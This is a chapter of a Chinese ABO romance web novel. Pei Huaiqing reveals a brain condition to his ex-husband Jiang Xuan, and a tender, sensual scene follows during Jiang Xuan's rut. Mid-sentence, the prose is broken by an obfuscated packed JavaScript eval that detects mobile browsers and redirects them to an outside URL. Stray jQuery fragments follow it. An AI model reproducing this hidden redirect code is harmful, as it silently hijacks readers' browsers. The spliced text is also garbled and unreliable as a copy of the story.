70.第70章

作品:《月上有只小白兔

    裴槐青说得那样笃定,让江暄在痛觉中神思恍惚——因为这种原因,裴槐青才时时刻刻与他保持距离吗?


    他没有那么不爱自己。


    只是想到这件事,江暄的心脏就仿佛蜷缩一团,无法克制般地引出血脉震颤。


    他全身的肌肤因此隐隐作痒。


    “裴槐青,”江暄挪动了下躺在Omega怀中的头,蹭着Omega放松的肌肉,在毫无阻隔的肌肤相亲中,他由此仿佛回到仍在母体中的时光。


    安宁舒适永远不会被打扰。


    “带我回去治病吧。”


    他缩起仍落在窗台的膝盖,做出并不坚定的选择。


    他仍在彷徨是否真的要费尽功夫留在人世,也在害怕是否真的能有机会长留人世。


    但这一刻,他是想的。


    因为拥着他的怀抱太过温暖,让他还想要再体验多一些。


    他们在第二天的早晨启程。


    “快走吧!”


    老人推过手中的花,和他们道别。


    这是活着才能遇到的事物,江暄抬起膝盖上正盛放的花朵,鼻尖轻嗅。


    像是发现什么宝藏,江暄现在最喜欢的事情就是缠着裴槐青问为什么,“为什么短信永远只发那几句?”


    开着车的人认真思索回答道:“我不知道,要怎么同你讲话。”


    所以用已经试错过的词汇反复作回答。


    Omega的回答是等待品尝的糖果,江暄唇线软化,过去两人之间的相处被完全颠覆。


    “你可以像我一样,”


    Alpha想起过去主动邀约的经历,耐心教导着身旁这位不怎么聪明的学生,“偶尔不忙的时候约个饭——”


    他顿时又想起一个值得自己耿耿于怀的细节。


    “话说回来,为什么餐食不能一起做?”


    “都是一个时间吃饭,干什么总分得这么清。”


    Omega眉心微微蹙紧,主动握住Alpha的手。


    江暄一把抽出自己的手,不假言色道:“安全驾驶。”


    “不许用单手。”


    Omega这才出声道:“我以前很笨,很多事情不知道。”


    “不知道能够一起做饭。”


    所以Omega当时的黑沉沉的眸子其实在表示惊讶?


    江暄一边觉得自己被哄好得太过容易,一边又觉得裴槐青没有说假话。


    他品着裴槐青给自己的回答,后知后觉地仰了仰身子,“裴槐青,你应该脑子没有问题吧?”


    生活能自理的智障不会被他碰见了吧——眉头落下的阴影照进眼中,江暄脸上的钉子已经完全除去,他焦躁地攥紧了身侧的门把手。


    终于还是问到这一步。


    裴槐青抿着唇,看上去不太想说。


    江暄声音只是微微沉了些,再次道:“讲实话。”


    从前在社交场上见到的裴槐青和他私底下的裴槐青,确实不同。他原先以为是因为不爱所以才会冷淡不通人情,现在怎么觉得就是Omega不通人情呢。


    Omega喉咙僵直,好半天才吐出来一句:“现在已经好很多了。”


    他不希望Alpha因为知道他有问题而离他远去。


    “你还真脑子有问题?”江暄瞳孔微晃,觉得这是几天来情绪波动最大的时刻。


    “大脑的某些功能区有问题,”裴槐青坦诚道,他听不懂Alpha言语中的双关,只单纯以为对方指自己的脑部顽疾。


    “所以没有办法很好地理解情绪。”


    江暄悄悄深吸了口气,他开始回想,自己和对方相处这么久,怎么会完全没往这方面想。


    虽然他们聚少离多,虽然他们除了□□交流没什么更多的交流……裴槐青在社会中融入得太好,让他隔了这么久才发现前夫不正常。


    他咬了咬牙根,“有病结婚前怎么不告诉我,干什么对合法伴侣隐瞒。”


    裴槐青握着方向盘的手紧了紧,指节用力到发胀,他声音低哑:“我怕你知道就不跟我结婚了。”


    裴槐青起先是茫然的,在巨大的愿望成真中找不清方向。胸膛中那只小白兔跳得又快又猛,踩得他心窝一下下蹦出冲刷着管壁的血液。


    迟了几天后他想到自己的问题。


    自从知道得病之后,母亲总用他看不懂的眼光瞧着他,裴槐青理解不了,却无法想象那样的目光出现在江暄身上。


    他也担心,如果知道自己是残缺的,Alpha会不会换个对象。


    在没怎么犹豫的选项中,他选择了隐瞒。


    他以为自己能瞒得很好,直到他看见江暄的痛苦,才发觉自己的错。


    换世界上任何一个人和江暄在一起,都会比他做得更好。


    他只不过是幸运地得到了江暄的喜欢和在意而已。


    裴槐青由此更加惴惴不安。


    在分开的时间里,不同诊所的心理医生他看了好几个。


    不能让江暄再受委屈的心占据上风。


    疼痛的胸膛里,许久未曾变化的心脏破开原本的形状,一点一点从碎肉拼起,崭新的模样渐渐展现。


    他知道自己在慢慢变正常,可他也知道,自己身上还是存在缺损。他理解不了的东西还是很多。


    让他庆幸的是,他对Alpha情绪的感知似乎比之前强上不少。


    有时候Alpha的拒绝是愿意,有时候Alpha的犹疑是希望他坚定些。


    最重要的是,大多数时候,Alpha很需要陪伴。


    越多了解江暄,就越清楚自己从前错得多么离谱,裴槐青的胸口也就越疼。


    比他身上所有的伤口加起来还要疼。


    车内的空气安静了会儿,只剩下两人轻微的呼吸声。过了好一会儿,江暄才缓缓开口:“还能治好吗?”


    裴槐青不敢隐瞒,如实回答道:“不知道。”


    又紧接着提升了点语速,“但我会安排时间去看医生,会努力好起来,不会再让你伤心的。”


    江暄靠在车窗上,头歪向远离腺体的一侧。


    他微微叹了口气。


    早说前夫是个傻的,他也不至于难过这么久。


    越想越觉得气,在车子停下来之前,江暄没有再开口说过一句话。


    静谧加上一成不变的窗外景色,身体疲乏的Alpha很快迷迷糊糊睡过去。


    再醒来时,天花板昏黄的顶灯照得他一时不知身处何方。


    “小白兔,”在床边守半天的人立马靠过来。


    额头多了另一个人的体温。


    “你在发烧。”裴槐青弯下腰,用额头代替手掌,替Alpha量体温。


    裴槐青的脸上隐隐有几分紧张。


    江暄听明白自己的处境,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869617|182881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才从恢复的知觉中感受到些什么——他神色微变。


    颊面被烧红的颧骨又加深几分。


    “不、不是发烧,”他面上多了几分羞恼,“是易感期。”


    以为自己病后不会再有易感期,他并没有带任何抑制剂出门。裴槐青是Omega,更不可能带着Alpha的抑制剂出门。


    特殊时期的激素变化让他持续不断的疼痛减轻了些,冷静理智的思考在几分钟内全部模糊成一团。


    没过多久,无法继续思考如何解决问题的他抬眼,只是委屈地看着Omega,用蒸出水汽的粼粼目光控诉着——为什么没有信息素。


    自从患病以来,Alpha再没经历过易感期,时隔许久来势汹汹,让他招架不住,瞳孔里多了几分迷离。


    看得出Alpha的难耐,但第一次遇到Alpha如此状况,裴槐青完全不敢大意。


    他忍着躁动不安,小心把Alpha抱进怀里,用嘴唇亲了亲Alpha热烘烘的腺体,已经自顾自伸出的尖牙划过微鼓的腺体上方,试图模拟腺体标记行为,以此缓解Alpha的心。


    只是轻轻蹭过腺体,生怕自己忍不住的裴槐青咬紧了舌尖,在铁锈味中克制地将Alpha翻过身来。


    扶着Alpha旋转的动作猛地顿住,裴槐青的视线紧紧盯在Alpha露出来的半张脸上。


    Alpha在哭。


    牙齿咬着下唇,没有发出任何声音,只有晶莹的泪珠顺着侧脸,一颗一颗落下来。


    没有信息素、没有标记行为,Alpha不知道自己做错了什么,在易感期也无法得到Omega的安抚。


    易感期的反应大多是个人性格的放大,无理者更加无理,暴躁者更加暴躁,脆弱者更加脆弱。


    就像被遗弃在遥远地方的小兽,分不清到底发生了什么,没有反抗没有挣扎,只是泪水止不住地流。


    裴槐青心口顿时收成一团,有那么几秒钟几乎感受不到心跳。


    他嘴笨,也不知道Alpha这个时候能不能听进去自己的声音。只能收紧手臂,将江暄重新紧紧搂进怀里,身体的曲度贴合。


    Alpha温温的体温贴在他身边。裴槐青抬起另一只手臂,手指温柔地抚摸着江暄的后背,反复几次后,在Alpha哭到颤抖的脖颈间落下连绵的吻。


    他一路吻上Alpha流下的泪珠,最后含住Alpha的唇。


    这是有印象以来,发生在他们两人之间最温柔的吻。


    裴槐青以唇雕唇,将Alpha唇上每一处细细照料。温柔却不容抗拒的舌舔舐着Alpha的上颚,他慢慢吮吸着Alpha的舌根,感受与自己纠缠的舌头的颤抖,不容拒绝地搅弄想要逃跑的舌。


    他耐心地,等待着江暄的精神集中到这个吻中。


    空中渐渐溢出些水蜜桃味,不似从前的味道甜蜜,有几分生涩。


    裴槐青在这样的生涩里迅速胀大腺体,将抑制剂贴拱起弧度。


    他忍着本能的冲动,在察觉江暄情绪有稳定迹象时,贴着对方的唇,轻声解释道:“小白兔,你生病了,所以我不能给你信息素。”


    此话一出,Alpha好似只能听到最后半句,暂时止住的眼泪又开始流淌起来。他抽抽搭搭地抬起头,用湿漉漉的眼睛看着裴槐青,一言不发。


    面若池边桃花,粉中带水。